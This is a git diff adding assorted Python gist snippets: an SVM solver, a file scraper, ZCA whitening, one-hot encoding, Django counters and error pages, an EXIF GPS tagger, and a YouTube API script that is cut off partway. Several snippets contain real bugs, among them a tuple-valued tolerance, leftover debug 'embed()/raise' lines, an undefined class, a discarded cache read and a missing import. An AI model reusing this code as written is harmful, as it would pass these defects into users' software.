+Mathieu Blondel, Akinori Fujino, and Naonori Ueda.
+ICPR 2014.
+http://www.mblondel.org/publications/mblondel-icpr2014.pdf
+"""
+
+import numpy as np
+
+from sklearn.base import BaseEstimator, ClassifierMixin
+from sklearn.utils import check_random_state
+from sklearn.preprocessing import LabelEncoder
+
+
+def projection_simplex(v, z=1):
+    """
+    Projection onto the simplex:
+        w^* = argmin_w 0.5 ||w-v||^2 s.t. \sum_i w_i = z, w_i >= 0
+    """
+    # For other algorithms computing the same projection, see
+    # https://gist.github.com/mblondel/6f3b7aaad90606b98f71
+    n_features = v.shape[0]
+    u = np.sort(v)[::-1]
+    cssv = np.cumsum(u) - z
+    ind = np.arange(n_features) + 1
+    cond = u - cssv / ind > 0
+    rho = ind[cond][-1]
+    theta = cssv[cond][-1] / float(rho)
+    w = np.maximum(v - theta, 0)
+    return w
+
+
+class MulticlassSVM(BaseEstimator, ClassifierMixin):
+
+    def __init__(self, C=1, max_iter=50, tol=0.05,
+                 random_state=None, verbose=0):
+        self.C = C
+        self.max_iter = max_iter
+        self.tol = tol,
+        self.random_state = random_state
+        self.verbose = verbose
+
+    def _partial_gradient(self, X, y, i):
+        # Partial gradient for the ith sample.
+        g = np.dot(X[i], self.coef_.T) + 1
+        g[y[i]] -= 1
+        return g
+
+    def _violation(self, g, y, i):
+        # Optimality violation for the ith sample.
+        smallest = np.inf
+        for k in range(g.shape[0]):
+            if k == y[i] and self.dual_coef_[k, i] >= self.C:
+                continue
+            elif k != y[i] and self.dual_coef_[k, i] >= 0:
+                continue
+
+            smallest = min(smallest, g[k])
+
+        return g.max() - smallest
+
+    def _solve_subproblem(self, g, y, norms, i):
+        # Prepare inputs to the projection.
+        Ci = np.zeros(g.shape[0])
+        Ci[y[i]] = self.C
+        beta_hat = norms[i] * (Ci - self.dual_coef_[:, i]) + g / norms[i]
+        z = self.C * norms[i]
+
+        # Compute projection onto the simplex.
+        beta = projection_simplex(beta_hat, z)
+
+        return Ci - self.dual_coef_[:, i] - beta / norms[i]
+
+    def fit(self, X, y):
+        n_samples, n_features = X.shape
+
+        # Normalize labels.
+        self._label_encoder = LabelEncoder()
+        y = self._label_encoder.fit_transform(y)
+
+        # Initialize primal and dual coefficients.
+        n_classes = len(self._label_encoder.classes_)
+        self.dual_coef_ = np.zeros((n_classes, n_samples), dtype=np.float64)
+        self.coef_ = np.zeros((n_classes, n_features))
+
+        # Pre-compute norms.
+        norms = np.sqrt(np.sum(X ** 2, axis=1))
+
+        # Shuffle sample indices.
+        rs = check_random_state(self.random_state)
+        ind = np.arange(n_samples)
+        rs.shuffle(ind)
+
+        violation_init = None
+        for it in range(self.max_iter):
+            violation_sum = 0
+
+            for ii in range(n_samples):
+                i = ind[ii]
+
+                # All-zero samples can be safely ignored.
+                if norms[i] == 0:
+                    continue
+
+                g = self._partial_gradient(X, y, i)
+                v = self._violation(g, y, i)
+                violation_sum += v
+
+                if v < 1e-12:
+                    continue
+
+                # Solve subproblem for the ith sample.
+                delta = self._solve_subproblem(g, y, norms, i)
+
+                # Update primal and dual coefficients.
+                self.coef_ += (delta * X[i][:, np.newaxis]).T
+                self.dual_coef_[:, i] += delta
+
+            if it == 0:
+                violation_init = violation_sum
+
+            vratio = violation_sum / violation_init
+
+            if self.verbose >= 1:
+                print("iter", it + 1, "violation", vratio)
+
+            if vratio < self.tol:
+                if self.verbose >= 1:
+                    print("Converged")
+                break
+
+        return self
+
+    def predict(self, X):
+        decision = np.dot(X, self.coef_.T)
+        pred = decision.argmax(axis=1)
+        return self._label_encoder.inverse_transform(pred)
+
+
+if __name__ == '__main__':
+    from sklearn.datasets import load_iris
+
+    iris = load_iris()
+    X, y = iris.data, iris.target
+
+    clf = MulticlassSVM(C=0.1, tol=0.01, max_iter=100, random_state=0, verbose=1)
+    clf.fit(X, y)
+    print(clf.score(X, y))
diff --git a/hard-gists/97d0fb82c3894f56809a/._snippet.py b/hard-gists/97d0fb82c3894f56809a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/97d0fb82c3894f56809a/._snippet.py differ
diff --git a/hard-gists/97d0fb82c3894f56809a/snippet.py b/hard-gists/97d0fb82c3894f56809a/snippet.py
new file mode 100644
index 00000000..af44451a
--- /dev/null
+++ b/hard-gists/97d0fb82c3894f56809a/snippet.py
@@ -0,0 +1,60 @@
+from urllib.request import urlretrieve
+from time import sleep
+
+import requests
+from bs4 import BeautifulSoup as bs
+
+
+def get_files():
+    """ Gets files of specified extension through user input
+    from a specified full URL path; downloads each file to
+    the user's specified local directory. """
+
+    while True:
+        url = input("Enter the URL you want to scrape from: ")
+
+        suffix = input("What type of file do you want to scrape? \nExamples: .png, .pdf, .doc - ")
+
+        filepath = input("Specify a file path to save to: ")
+
+        if not url.startswith('http://') and not url.startswith('https://'):
+            url = 'http://' + url
+
+        response = requests.get(url, stream=True)
+        soup = bs(response.text)
+
+        link_list = [link.get('href') for link in soup.find_all('a') if suffix in str(link)]
+        
+        for link in link_list:
+            file_name = link.rpartition('/')[-1]
+            urlretrieve(url.rsplit('/', 1)[0] + '/' + link, filepath + '\\' + file_name)
+
+        print_message(link_list, suffix)
+        if not repeat(input("Scrape from another URL? ")):
+            break
+
+
+def print_message(lst, suffix):
+    """ Notifies user when done downloading files OR
+    if there are no files of the type they specified
+    Input: List of file names, String for file extension """
+    if lst:
+        print("Finished. Downloaded all files of type", suffix)
+    else:
+        print("No files of type", suffix, "were found.")
+
+
+def repeat(decision):
+    """ Function for running the file scraper again
+    Input: String 'yes' or 'no' """
+
+    if decision.lower().startswith("y"):
+        return True
+
+    print("Closing program...")
+    sleep(3)
+    print("Goodbye")
+    return False
+
+if __name__ == '__main__':
+    get_files()
\ No newline at end of file
diff --git a/hard-gists/9822570/._snippet.py b/hard-gists/9822570/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9822570/._snippet.py differ
diff --git a/hard-gists/9822570/snippet.py b/hard-gists/9822570/snippet.py
new file mode 100644
index 00000000..1840d23c
--- /dev/null
+++ b/hard-gists/9822570/snippet.py
@@ -0,0 +1,397 @@
+# (C) Kyle Kastner, June 2014
+# License: BSD 3 clause
+
+from sklearn.base import BaseEstimator, TransformerMixin
+from sklearn.utils import gen_batches
+from scipy.linalg import eigh
+from scipy.linalg import svd
+import numpy as np
+
+# From sklearn main
+def svd_flip(u, v, u_based_decision=True):
+    """Sign correction to ensure deterministic output from SVD.
+
+    Adjusts the columns of u and the rows of v such that the loadings in the
+    columns in u that are largest in absolute value are always positive.
+
+    Parameters
+    ----------
+    u, v : ndarray
+        u and v are the output of `linalg.svd` or
+        `sklearn.utils.extmath.randomized_svd`, with matching inner dimensions
+        so one can compute `np.dot(u * s, v)`.
+
+    u_based_decision : boolean, (default=True)
+        If True, use the columns of u as the basis for sign flipping. Otherwise,
+        use the rows of v. The choice of which variable to base the decision on
+        is generally algorithm dependent.
+
+
+    Returns
+    -------
+    u_adjusted, v_adjusted : arrays with the same dimensions as the input.
+
+    """
+    if u_based_decision:
+        # columns of u, rows of v
+        max_abs_cols = np.argmax(np.abs(u), axis=0)
+        signs = np.sign(u[max_abs_cols, xrange(u.shape[1])])
+        u *= signs
+        v *= signs[:, np.newaxis]
+    else:
+        # rows of v, columns of u
+        max_abs_rows = np.argmax(np.abs(v), axis=1)
+        signs = np.sign(v[xrange(v.shape[0]), max_abs_rows])
+        u *= signs
+        v *= signs[:, np.newaxis]
+    return u, v
+
+
+def _batch_mean_variance_update(X, old_mean, old_variance, old_sample_count):
+    """Calculate an average mean update and a Youngs and Cramer variance update.
+
+    From the paper "Algorithms for computing the sample variance: analysis and
+    recommendations", by Chan, Golub, and LeVeque.
+
+    Parameters
+    ----------
+    X : array-like, shape (n_samples, n_features)
+        Data to use for variance update
+
+    old_mean : array-like, shape: (n_features,)
+
+    old_variance : array-like, shape: (n_features,)
+
+    old_sample_count : int
+
+    Returns
+    -------
+    updated_mean : array, shape (n_features,)
+
+    updated_variance : array, shape (n_features,)
+
+    updated_sample_count : int
+
+    References
+    ----------
+    T. Chan, G. Golub, R. LeVeque. Algorithms for computing the sample variance:
+        recommendations, The American Statistician, Vol. 37, No. 3, pp. 242-247
+
+    """
+    new_sum = X.sum(axis=0)
+    new_variance = X.var(axis=0) * X.shape[0]
+    old_sum = old_mean * old_sample_count
+    n_samples = X.shape[0]
+    updated_sample_count = old_sample_count + n_samples
+    partial_variance = old_sample_count / (n_samples * updated_sample_count) * (
+        n_samples / old_sample_count * old_sum - new_sum) ** 2
+    unnormalized_variance = old_variance * old_sample_count + new_variance + \
+        partial_variance
+    return ((old_sum + new_sum) / updated_sample_count,
+            unnormalized_variance / updated_sample_count,
+            updated_sample_count)
+
+
+class _CovZCA(BaseEstimator, TransformerMixin):
+    def __init__(self, n_components=None, bias=.1, copy=True):
+        self.n_components = n_components
+        self.bias = bias
+        self.copy = copy
+
+    def fit(self, X, y=None):
+        if self.copy:
+            X = np.array(X, copy=self.copy)
+        n_samples, n_features = X.shape
+        self.mean_ = np.mean(X, axis=0)
+        X -= self.mean_
+        U, S, VT = svd(np.dot(X.T, X) / n_samples, full_matrices=False)
+        components = np.dot(VT.T * np.sqrt(1.0 / (S + self.bias)), VT)
+        self.components_ = components[:self.n_components]
+        return self
+
+    def transform(self, X):
+        if self.copy:
+            X = np.array(X, copy=self.copy)
+        X -= self.mean_
+        X_transformed = np.dot(X, self.components_.T)
+        return X_transformed
+
+
+class ZCA(BaseEstimator, TransformerMixin):
+    """
+    Identical to CovZCA up to scaling due to lack of division by n_samples
+    S ** 2 / n_samples should correct this but components_ come out different
+    though transformed examples are identical.
+    """
+    def __init__(self, n_components=None, bias=.1, copy=True):
+        self.n_components = n_components
+        self.bias = bias
+        self.copy = copy
+
+    def fit(self, X, y=None):
+        if self.copy:
+            X = np.array(X, copy=self.copy)
+        n_samples, n_features = X.shape
+        self.mean_ = np.mean(X, axis=0)
+        X -= self.mean_
+        U, S, VT = svd(X, full_matrices=False)
+        components = np.dot(VT.T * np.sqrt(1.0 / (S ** 2 + self.bias)), VT)
+        self.components_ = components[:self.n_components]
+        return self
+
+    def transform(self, X):
+        if self.copy:
+            X = np.array(X, copy=self.copy)
+            X = np.copy(X)
+        X -= self.mean_
+        X_transformed = np.dot(X, self.components_.T)
+        return X_transformed
+
+import scipy
+X = scipy.misc.lena()
+zca = ZCA()
+czca = _CovZCA()
+X_zca = zca.fit_transform(X)
+X_czca = czca.fit_transform(X)
+from IPython import embed; embed()
+raise ValueError()
+
+
+class IncrementalCovZCA(BaseEstimator, TransformerMixin):
+    def __init__(self, n_components=None, batch_size=None, bias=.1,
+                 scale_by=1., copy=True):
+        self.n_components = n_components
+        self.batch_size = batch_size
+        self.bias = bias
+        self.scale_by = scale_by
+        self.copy = copy
+        self.scale_by = float(scale_by)
+        self.mean_ = None
+        self.covar_ = None
+        self.n_samples_seen_ = 0.
+
+    def fit(self, X, y=None):
+        self.mean_ = None
+        self.covar_ = None
+        self.n_samples_seen_ = 0.
+        n_samples, n_features = X.shape
+        if self.batch_size is None:
+            self.batch_size_ = 5 * n_features
+        else:
+            self.batch_size_ = self.batch_size
+        for batch in gen_batches(n_samples, self.batch_size_):
+            self.partial_fit(X[batch])
+        return self
+
+    def partial_fit(self, X):
+        self.components_ = None
+        if self.copy:
+            X = np.array(X, copy=self.copy)
+            X = np.copy(X)
+        X /= self.scale_by
+        n_samples, n_features = X.shape
+        batch_mean = np.mean(X, axis=0)
+        # Doing this without subtracting mean results in numerical instability
+        # will have to play some games to work around this
+        if self.mean_ is None:
+            X -= batch_mean
+            batch_covar = np.dot(X.T, X)
+            self.mean_ = batch_mean
+            self.covar_ = batch_covar
+            self.n_samples_seen_ += float(n_samples)
+        else:
+            prev_mean = self.mean_
+            prev_sample_count = self.n_samples_seen_
+            prev_scale = self.n_samples_seen_ / (self.n_samples_seen_
+                                                 + n_samples)
+            update_scale = n_samples / (self.n_samples_seen_ + n_samples)
+            self.mean_ = self.mean_ * prev_scale + batch_mean * update_scale
+
+            X -= batch_mean
+            # All of this correction is to minimize numerical instability in
+            # the dot product
+            batch_covar = np.dot(X.T, X)
+            batch_offset = (self.mean_ - batch_mean)
+            batch_adjustment = np.dot(batch_offset[None].T, batch_offset[None])
+            batch_covar += batch_adjustment * n_samples
+
+            mean_offset = (self.mean_ - prev_mean)
+            mean_adjustment = np.dot(mean_offset[None].T, mean_offset[None])
+            self.covar_ += mean_adjustment * prev_sample_count
+
+            self.covar_ += batch_covar
+            self.n_samples_seen_ += n_samples
+
+    def transform(self, X):
+        if self.copy:
+            X = np.array(X, copy=self.copy)
+            X = np.copy(X)
+        if self.components_ is None:
+            U, S, VT = svd(self.covar_ / self.n_samples_seen_,
+                           full_matrices=False)
+            components = np.dot(VT.T * np.sqrt(1.0 / (S + self.bias)), VT)
+            self.components_ = components[:self.n_components]
+        X /= self.scale_by
+        X -= self.mean_
+        X_transformed = np.dot(X, self.components_.T)
+        return X_transformed
+
+
+class IncrementalZCA(BaseEstimator, TransformerMixin):
+    def __init__(self, n_components=None, batch_size=None, bias=.1,
+                 scale_by=1., copy=True):
+        self.n_components = n_components
+        self.batch_size = batch_size
+        self.bias = bias
+        self.scale_by = scale_by
+        self.copy = copy
+        self.scale_by = float(scale_by)
+        self.n_samples_seen_ = 0.
+        self.mean_ = None
+        self.var_ = None
+        self.components_ = None
+
+    def fit(self, X, y=None):
+        self.n_samples_seen_ = 0.
+        self.mean_ = None
+        self.var_ = None
+        self.components_ = None
+        n_samples, n_features = X.shape
+        if self.batch_size is None:
+            self.batch_size_ = 5 * n_features
+        else:
+            self.batch_size_ = self.batch_size
+        for batch in gen_batches(n_samples, self.batch_size_):
+            self.partial_fit(X[batch])
+        return self
+
+    def partial_fit(self, X):
+        if self.copy:
+            X = np.array(X, copy=self.copy)
+            X = np.copy(X)
+        n_samples, n_features = X.shape
+        self.n_components_ = self.n_components
+        X /= self.scale_by
+        if self.components_ is None:
+            # This is the first pass through partial_fit
+            self.n_samples_seen_ = 0.
+            col_var = X.var(axis=0)
+            col_mean = X.mean(axis=0)
+            X -= col_mean
+            U, S, V = svd(X, full_matrices=False)
+            U, V = svd_flip(U, V, u_based_decision=False)
+        else:
+            col_batch_mean = X.mean(axis=0)
+            col_mean, col_var, n_total_samples = _batch_mean_variance_update(
+                X, self.mean_, self.var_, self.n_samples_seen_)
+            X -= col_batch_mean
+            # Build matrix of combined previous basis and new data
+            correction = np.sqrt((self.n_samples_seen_ * n_samples)
+                                  / n_total_samples)
+            mean_correction = correction * (self.mean_ - col_batch_mean)
+            X_combined = np.vstack((self.singular_values_.reshape((-1, 1)) *
+                                    self.components_,
+                                    X,
+                                    mean_correction))
+            U, S, V = svd(X_combined, full_matrices=False)
+            U, V = svd_flip(U, V, u_based_decision=False)
+
+        self.n_samples_seen_ += n_samples
+        self.components_ = V[:self.n_components_]
+        self.singular_values_ = S[:self.n_components_]
+        self.mean_ = col_mean
+        self.var_ = col_var
+        self.zca_components_ = np.dot(self.components_.T *
+            np.sqrt(1.0 / (self.singular_values_ ** 2 + self.bias)), self.components_)
+
+    def transform(self, X):
+        if self.copy:
+            X = np.array(X, copy=self.copy)
+            X = np.copy(X)
+        X /= self.scale_by
+        X -= self.mean_
+        X_transformed = np.dot(X, self.zca_components_.T)
+        return X_transformed
+
+
+if __name__ == "__main__":
+    from numpy.testing import assert_almost_equal
+    import matplotlib.pyplot as plt
+    from scipy.misc import lena
+    # scale_by is necessary otherwise float32 results are numerically unstable
+    # scale_by is still not enough to totally eliminate the error in float32
+    # for many, many iterations but it is very close
+    X = lena().astype('float32')
+    X_orig = np.copy(X)
+
+    # Check that covariance ZCA and data ZCA produce same results
+    czca = CovZCA()
+    zca = ZCA()
+    X_czca = czca.fit_transform(X)
+    X_zca = zca.fit_transform(X)
+    assert_almost_equal(abs(zca.components_), abs(czca.components_), 3)
+    raise ValueError()
+
+
+    random_state = np.random.RandomState(1999)
+    X = random_state.rand(2000, 512).astype('float64') * 255.
+    X_orig = np.copy(X)
+    scale_by = 1.
+    from sklearn.decomposition import PCA, IncrementalPCA
+    zca = ZCA(n_components=512, scale_by=scale_by)
+    pca = PCA(n_components=512)
+    izca = IncrementalZCA(n_components=512, batch_size=1000)
+    ipca = IncrementalPCA(n_components=512, batch_size=1000)
+    X_pca = pca.fit_transform(X)
+    X_zca = zca.fit_transform(X)
+    X_izca = izca.fit_transform(X)
+    X_ipca = ipca.fit_transform(X)
+    assert_almost_equal(abs(pca.components_), abs(ipca.components_), 3)
+    from IPython import embed; embed()
+    assert_almost_equal(abs(zca.components_), abs(izca.zca_components_), 3)
+
+    for batch_size in [512, 128]:
+        print("Testing batch size %i" % batch_size)
+        izca = IncrementalZCA(batch_size=batch_size, scale_by=scale_by)
+        # Test that partial fit over subset has the same mean!
+        zca.fit(X[:batch_size])
+        izca.partial_fit(X[:batch_size])
+        # Make sure data was not modified
+        assert_almost_equal(X[:batch_size], X_orig[:batch_size])
+        # Make sure single batch results match
+        assert_almost_equal(zca.mean_, izca.mean_, decimal=3)
+        print("Got here")
+
+        izca.fit(X[:100])
+        izca.partial_fit(X[100:200])
+        zca.fit(X[:200])
+        # Make sure 2 batch results match
+        assert_almost_equal(zca.mean_, izca.mean_, decimal=3)
+        print("Got here 2")
+        # Make sure the input array is not modified
+        assert_almost_equal(X, X_orig, decimal=3)
+        X_zca = zca.fit_transform(X)
+        X_izca = izca.fit_transform(X)
+        # Make sure the input array is not modified
+        assert_almost_equal(X, X_orig, decimal=3)
+        print("Got here 3")
+        # Make sure the means are equal
+        assert_almost_equal(zca.mean_, izca.mean_, decimal=3)
+        print("Got here 4")
+        # Make sure the components are equal
+        assert_almost_equal(X_zca, X_izca, decimal=3)
+    plt.imshow(X, cmap="gray")
+    plt.title("Original")
+    plt.figure()
+    plt.imshow(X_zca, cmap="gray")
+    plt.title("ZCA")
+    plt.figure()
+    plt.imshow(X_izca, cmap="gray")
+    plt.title("IZCA")
+    plt.figure()
+    plt.matshow(zca.components_)
+    plt.title("ZCA")
+    plt.figure()
+    plt.matshow(izca.components_)
+    plt.title("IZCA")
+    plt.show()
diff --git a/hard-gists/982ce339d5f8c9a769a0/._snippet.py b/hard-gists/982ce339d5f8c9a769a0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/982ce339d5f8c9a769a0/._snippet.py differ
diff --git a/hard-gists/982ce339d5f8c9a769a0/snippet.py b/hard-gists/982ce339d5f8c9a769a0/snippet.py
new file mode 100644
index 00000000..60b76312
--- /dev/null
+++ b/hard-gists/982ce339d5f8c9a769a0/snippet.py
@@ -0,0 +1,44 @@
+import pandas as pd
+import numpy as np
+from sklearn.feature_extraction import DictVectorizer
+ 
+def encode_onehot(df, cols):
+    """
+    One-hot encoding is applied to columns specified in a pandas DataFrame.
+    
+    Modified from: https://gist.github.com/kljensen/5452382
+    
+    Details:
+    
+    http://en.wikipedia.org/wiki/One-hot
+    http://scikit-learn.org/stable/modules/generated/sklearn.preprocessing.OneHotEncoder.html
+    
+    @param df pandas DataFrame
+    @param cols a list of columns to encode
+    @return a DataFrame with one-hot encoding
+    """
+    vec = DictVectorizer()
+    
+    vec_data = pd.DataFrame(vec.fit_transform(df[cols].to_dict(outtype='records')).toarray())
+    vec_data.columns = vec.get_feature_names()
+    vec_data.index = df.index
+    
+    df = df.drop(cols, axis=1)
+    df = df.join(vec_data)
+    return df
+
+
+def main():
+  np.random.seed(42)
+  df = pd.DataFrame(np.random.randn(25, 3), columns=['a', 'b', 'c'])
+
+  # Make some random categorical columns
+  df['e'] = [random.choice(('Chicago', 'Boston', 'New York')) for i in range(df.shape[0])]
+  df['f'] = [random.choice(('Chrome', 'Firefox', 'Opera', "Safari")) for i in range(df.shape[0])]
+
+  # Vectorize the categorical columns: e & f
+  df = encode_onehot(df, cols=['e', 'f'])
+  print df.head()
+ 
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/9842903/._snippet.py b/hard-gists/9842903/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9842903/._snippet.py differ
diff --git a/hard-gists/9842903/snippet.py b/hard-gists/9842903/snippet.py
new file mode 100644
index 00000000..26a73ee1
--- /dev/null
+++ b/hard-gists/9842903/snippet.py
@@ -0,0 +1,11 @@
+from django.views.generic import TemplateView
+
+
+if settings.DEBUG:
+
+    # enable local preview of error pages
+    urlpatterns += patterns('',
+        (r'^403/$', TemplateView.as_view(template_name="403.html")),
+        (r'^404/$', TemplateView.as_view(template_name="404.html")),
+        (r'^500/$', TemplateView.as_view(template_name="500.html")),
+    )
\ No newline at end of file
diff --git a/hard-gists/984892/._snippet.py b/hard-gists/984892/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/984892/._snippet.py differ
diff --git a/hard-gists/984892/snippet.py b/hard-gists/984892/snippet.py
new file mode 100644
index 00000000..45e7a394
--- /dev/null
+++ b/hard-gists/984892/snippet.py
@@ -0,0 +1,104 @@
+# -*- coding: utf-8 -*-
+"""Efficient django counters that support hundreds updates/sec
+
+Based on Google Appengine sharded counters http://code.google.com/appengine/articles/sharding_counters.html
+"""
+from django.db import models
+from django.db.models import Sum, F
+import random
+from django.db import transaction, IntegrityError
+from django.core.cache import cache
+
+CACHE_KEY = "counter."
+CACHE_TIMEOUT = 24 * 60 * 60
+
+class CounterShardConfig(models.Model):
+    '''Represents a group of multiple CounterShards'''
+    num_shards = models.IntegerField(default=5)
+    name = models.CharField(max_length=64, db_index=True, unique=True)
+
+    @staticmethod
+    def update(owner_id, owner_type, num_shards=5):
+        return CounterShardConfig.get_or_create(owner_id=owner_id,
+                                                owner_type=owner_type).\
+                                                update(num_shards=num_shards)
+
+    class Meta:
+        app_label = "api"
+
+class CounterShard(models.Model):
+    '''Holds a value of a counter in the group
+
+    The real value of a counter is sum of all counters in a shard'''
+    count = models.IntegerField(default=1)
+    name = models.CharField(max_length=64, db_index=True)
+    index = models.CharField(max_length=128, db_index=True)
+
+    class Meta:
+        unique_together = ('name', 'index')
+        app_label = "api"
+
+def get(name):
+    '''Returns a counter value for counter name
+
+    Results are cached after first request'''
+    result = cache.get(CACHE_KEY + name)
+    result = None
+    if result is None:
+        results = CounterShard.objects.filter(name=name).values()
+        result = results.aggregate(count=Sum('count'))['count'] or 0
+        cache.add(CACHE_KEY + name, result, CACHE_TIMEOUT)
+    return result
+
+def _update(name, delta):
+    '''Creates/Updates a counter shard with a new value
+
+    delta will be applied to counter value so make it should be >0
+    if you want to increase and <0 to decrease it'''
+    sid = transaction.savepoint()
+    try:
+        config = CounterShardConfig.objects.create(name=name)
+        transaction.savepoint_commit(sid)
+    except IntegrityError:
+        transaction.savepoint_rollback(sid)
+        config = CounterShardConfig.objects.get(name=name)
+    index = random.randint(0, config.num_shards - 1)
+    sid = transaction.savepoint()
+    cache_key = CACHE_KEY + name
+    try:
+        counter = CounterShard.objects.create(name=name,
+                                              index=index,
+                                              count=delta)
+        # if it didn't exist, we just created a counter with count=1
+        transaction.savepoint_commit(sid)
+    except IntegrityError:
+        # if already exists lets just update
+        transaction.savepoint_rollback(sid)
+        counter = CounterShard.objects.filter(name=name,
+                                              index=index)
+        counter.update(count=F('count') + delta)
+    try:
+        if delta > 0:
+            cache.incr(cache_key, delta)
+        else:
+            cache.decr(cache_key, -delta)
+    except ValueError:
+        # we skip this part if it's not cached yet
+        pass
+    return True
+
+def inc(name, value=1):
+    '''Increase a counter with name for a given value'''
+    assert value > 0
+    return _update(name, value)
+
+def dec(name, value=1):
+    '''Decrease a counter with name for a given value'''
+    assert value > 0
+    return _update(name, -value)
+
+def remove(name):
+    CounterShardConfig.objects.filter(name=name).delete()
+    CounterShard.objects.filter(name=name).delete()
+    cache.delete(CACHE_KEY + name)
+    return True
diff --git a/hard-gists/985060/._snippet.py b/hard-gists/985060/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/985060/._snippet.py differ
diff --git a/hard-gists/985060/snippet.py b/hard-gists/985060/snippet.py
new file mode 100644
index 00000000..35675a6b
--- /dev/null
+++ b/hard-gists/985060/snippet.py
@@ -0,0 +1,83 @@
+#!/usr/bin/env python
+
+import pyexiv2
+import fractions
+from PIL import Image
+from PIL.ExifTags import TAGS
+import sys
+
+def to_deg(value, loc):
+        if value < 0:
+            loc_value = loc[0]
+        elif value > 0:
+            loc_value = loc[1]
+        else:
+            loc_value = ""
+        abs_value = abs(value)
+        deg =  int(abs_value)
+        t1 = (abs_value-deg)*60
+        min = int(t1)
+        sec = round((t1 - min)* 60, 5)
+        return (deg, min, sec, loc_value)
+
+def view_gps_location(file_name, lat, lng):
+    """Adds GPS position as EXIF metadata
+
+    Keyword arguments:
+    file_name -- image file 
+    lat -- latitude (as float)
+    lng -- longitude (as float)
+
+    """
+    lat_deg = to_deg(lat, ["S", "N"])
+    lng_deg = to_deg(lng, ["W", "E"])
+    
+    print lat_deg
+    print lng_deg
+    
+    # convert decimal coordinates into degrees, munutes and seconds
+    exiv_lat = (pyexiv2.Rational(lat_deg[0]*60+lat_deg[1],60),pyexiv2.Rational(lat_deg[2]*100,6000))
+    exiv_lng = (pyexiv2.Rational(lng_deg[0]*60+lng_deg[1],60),pyexiv2.Rational(lng_deg[2]*100,6000))
+
+    exiv_image = pyexiv2.Image(file_name)
+    exiv_image.readMetadata()
+    exif_keys = exiv_image.exifKeys() 
+    
+    for key in exif_keys:
+        print key, [exiv_image[key]]
+    
+
+def set_gps_location(file_name, lat, lng):
+    """Adds GPS position as EXIF metadata
+
+    Keyword arguments:
+    file_name -- image file 
+    lat -- latitude (as float)
+    lng -- longitude (as float)
+
+    """
+    lat_deg = to_deg(lat, ["S", "N"])
+    lng_deg = to_deg(lng, ["W", "E"])
+    
+    print lat_deg
+    print lng_deg
+    
+    # convert decimal coordinates into degrees, munutes and seconds
+    exiv_lat = (pyexiv2.Rational(lat_deg[0]*60+lat_deg[1],60),pyexiv2.Rational(lat_deg[2]*100,6000), pyexiv2.Rational(0, 1))
+    exiv_lng = (pyexiv2.Rational(lng_deg[0]*60+lng_deg[1],60),pyexiv2.Rational(lng_deg[2]*100,6000), pyexiv2.Rational(0, 1))
+
+    exiv_image = pyexiv2.ImageMetadata(file_name)
+    exiv_image.read()
+    exif_keys = exiv_image.exif_keys
+    
+    exiv_image["Exif.GPSInfo.GPSLatitude"] = exiv_lat
+    exiv_image["Exif.GPSInfo.GPSLatitudeRef"] = lat_deg[3]
+    exiv_image["Exif.GPSInfo.GPSLongitude"] = exiv_lng
+    exiv_image["Exif.GPSInfo.GPSLongitudeRef"] = lng_deg[3]
+    exiv_image["Exif.Image.GPSTag"] = 654
+    exiv_image["Exif.GPSInfo.GPSMapDatum"] = "WGS-84"
+    exiv_image["Exif.GPSInfo.GPSVersionID"] = '2 0 0 0'
+    
+    exiv_image.write()
+
+set_gps_location(sys.argv[1], float(sys.argv[2]), float(sys.argv[3]))
\ No newline at end of file
diff --git a/hard-gists/9874480/._snippet.py b/hard-gists/9874480/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9874480/._snippet.py differ
diff --git a/hard-gists/9874480/snippet.py b/hard-gists/9874480/snippet.py
new file mode 100644
index 00000000..f4681488
--- /dev/null
+++ b/hard-gists/9874480/snippet.py
@@ -0,0 +1,173 @@
+import httplib2
+import os
+import sys
+
+from apiclient.discovery import build
+# from apiclient.errors import HttpError
+from oauth2client.client import flow_from_clientsecrets
+from oauth2client.file import Storage
+from oauth2client.tools import run
+
+from urlparse import urlparse, parse_qs
+import re
+from docopt import docopt
+import fileinput
+
+
+# The CLIENT_SECRETS_FILE variable specifies the name of a file that contains
+# the OAuth 2.0 information for this application, including its client_id and
+# client_secret. You can acquire an OAuth 2.0 client ID and client secret from
+# the Google Cloud Console at
+# https://cloud.google.com/console.
+# Please ensure that you have enabled the YouTube Data API for your project.
+# For more information about using OAuth2 to access the YouTube Data API, see:
+#   https://developers.google.com/youtube/v3/guides/authentication
+# For more information about the client_secrets.json file format, see:
+#   https://developers.google.com/api-client-library/python/guide/aaa_client_secrets
+
+
+CLIENT_SECRETS_FILE = "client_secrets.json"
+
+# This variable defines a message to display if the CLIENT_SECRETS_FILE is
+# missing.
+MISSING_CLIENT_SECRETS_MESSAGE = """
+WARNING: Please configure OAuth 2.0
+
+To make this sample run you will need to populate the client_secrets.json file
+found at:
+
+%s
+
+with information from the Cloud Console
+https://cloud.google.com/console
+
+For more information about the client_secrets.json file format, please visit:
+https://developers.google.com/api-client-library/python/guide/aaa_client_secrets
+""" % os.path.abspath(os.path.join(os.path.dirname(__file__),
+                           CLIENT_SECRETS_FILE))
+
+# This OAuth 2.0 access scope allows for full read/write access to the
+# authenticated user's account.
+YOUTUBE_SCOPE = "https://www.googleapis.com/auth/youtube"
+YOUTUBE_API_SERVICE_NAME = "youtube"
+YOUTUBE_API_VERSION = "v3"
+
+def video_id(url):
+    """
+    Examples:
+    - http://youtu.be/SA2iWivDJiE
+    - http://www.youtube.com/watch?v=_oPAwA_Udwc&feature=feedu
+    - http://www.youtube.com/embed/SA2iWivDJiE
+    - http://www.youtube.com/v/SA2iWivDJiE?version=3&amp;hl=en_US
+    - www.youtube.com/embed/SA2iWivDJiE
+    - http://youtu.be.com/SA2iWivDJiE
+    - youtube.com/embed/SA2iWivDJiE
+    - SA2iWivDJiE
+
+    From http://stackoverflow.com/a/7936523
+    Edited to support optional url scheme and only video_id
+    """
+    query = urlparse(url)
+
+    if not query.scheme:
+        url = "http://" + url
+        query = urlparse(url)
+    #http://stackoverflow.com/q/6344993
+
+    if query.hostname == 'youtu.be':
